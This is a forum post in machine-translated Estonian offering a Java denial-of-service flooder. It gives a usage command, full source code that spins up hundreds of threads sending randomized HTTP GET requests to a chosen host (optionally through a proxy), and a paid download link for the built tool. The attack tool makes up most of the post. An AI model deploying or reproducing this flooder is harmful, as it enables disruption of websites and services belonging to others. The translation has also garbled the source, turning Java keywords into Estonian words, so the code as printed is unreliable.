|
|
Postitatud 01.12.2014 15:21:57
|
|
|

JAR-kood dDOS-rünnak rakendatud Java poolt. Kuid see ei erine traditsioonilistest dDo-dest. See tarkvara on DDOS-rünnak lehele. Kuidas kasutada: java -jar ccddos.jar www.xxx.com 80 10 /index.do kasutajanimi=xxx 80
[mw_shl_code=java,true]import java.io.IOException; import java.net.ConnectException; importida java.net.InetSocketAddress; import java.nio.ByteBuffer; importida java.nio.channels.SelectionKey; import java.nio.channels.Selector; importida java.nio.channels.SocketChannel; import java.util.Iterator; import java.util.Random; import java.util.Set; import java.util.Timer; importida java.util.TimerTask; import java.util.vector;
/** * Deemoni niidid
* * @author administratsioon
* */ Avaliku klassi test { privaatne String host, uri, param; privaatne int port; privaatne lõpp<CCDDOSThread> Vektor v = uus <CCDDOSThread>vektor(); privaatne InetSocketAddress isa; privaatne intellekti lõimedLoend = 500; Lõimede arv privaatne juhuslik r = uus juhuslik(); privaatne pikk timeout = 5000l;
/** * Avage rünnak */ avalik tühjus start() { for (int i = 0; i < threadsCount; i++) { CCDDOSThread t = uus CCDDOSThread(); v.add(t); t.start();
} Taimer t = uus taimer(); t.schedule(new TimerTask() { public void run() { int arv = 0, timeout-threads = 0; pikk ct = System.currentTimeMillis(); for (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) { CCDDOSThread th = it.next(); if (th.isCancle() || !th.isAlive()) { it.remove(); th = null; loendus++; } muidu kui (ct - th.start > timeout) { Timeout, väline lõpp timeout-teemad++; th.setCancle (tõene); th.interrupt(); it.remove(); th = null; loendus++; } } if (loend == 0) { Tagasi; } System.out.println("Lõim on suletud:"+count+", kus timeouti lõim on ühendatud:" + timeout-teemad); for (int i = 0; Ma < lugema; i++) { CCDDOSThread th = uus CCDDOSThread(); v.add(th); th.start(); } } }, 0l, 100l); System.out.println ("Deemoni lõim alustatud:"); }
/** * @param args */ public static void main(String[] args) { if (args.length < 6) { System.out.println ("Juhised:"); System.out .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); System.exit(0); } else if (args.length >= 8) { Leppi kokku agendiga System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", args[6]); System.getProperties().setProperty("http.proxyPort", args[7]); }
test m = uus test(); m.host = args[0]; m.port = Täisarv.valueOf(args[1]); m.uri = args[3]; m.param = args[4]; m.threadsCount = Täisarv.väärtusOf(args[2]); m.timeout = Long.valueOf(args[5]); m.isa = uus InetSocketAddress (m.host, m.port); m.start(); }
/** * Ründeliinid * * @author zhanghongbo * */ class CCDDOSThread laiendab Threadi { privaatne Boolean Cancle = väär; public long start = System.currentTimeMillis();
public void setCancle(boole'i cancle) { this.cancle = cancle; }
public boolean isCancle() { tagasipöördumine Cancle; }
public void run() { pikk algus = System.currentTimeMillis(); Selektor valija; proovi { selector = Selector.open(); SocketChannel sc; proovi { sc = SocketChannel.open(isa); } catch (ConnectException ex) { System.out.println(nt.getMessage()); cancle = tõene; selector.close(); Tagasi; }
sc.configureBlocking(vale); sc.register(valija, SelectionKey.OP_WRITE | SelectionKey.OP_READ); oota: while (selector.select() > 0 && !cancle) { if (System.currentTimeMillis() - start > timeout) { cancle = tõene; paus, oota; } Set<?> readykey = selector.selectedKeys(); Iterator<?> it = readykey.iterator(); while (it.hasNext() && !cancle) { if (System.currentTimeMillis() - start > timeout) { cancle = tõene; paus, oota; } SelectionKey skey = (SelectionKey) it.next(); it.remove(); SocketChannel scc = (SocketChannel) skey.channel();
if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { String head = "GET" + uri + "?" + param + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Ühendus: lähedal\r\n" + "\r\n"; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); scc.write(bbf); } skey.cancel(); scc.close(); } } selector.close(); sc.close();
} püüa (IOException ex) { cancle = tõene; } } }
} [/mw_shl_code]
Valmis toode ja lähtekoodi allalaadimine:
java ddos.zip
(8.42 KB, Allalaadimiste arv: 0, Müügihind: 2 Grain MB)
|
Eelmine:Räägime ajaloo suurimast 400G salapärasest DDoS-rünnakustJärgmine:Saada iPhone 6, et rääkida artefaktide murdmise punktideta versioonist
|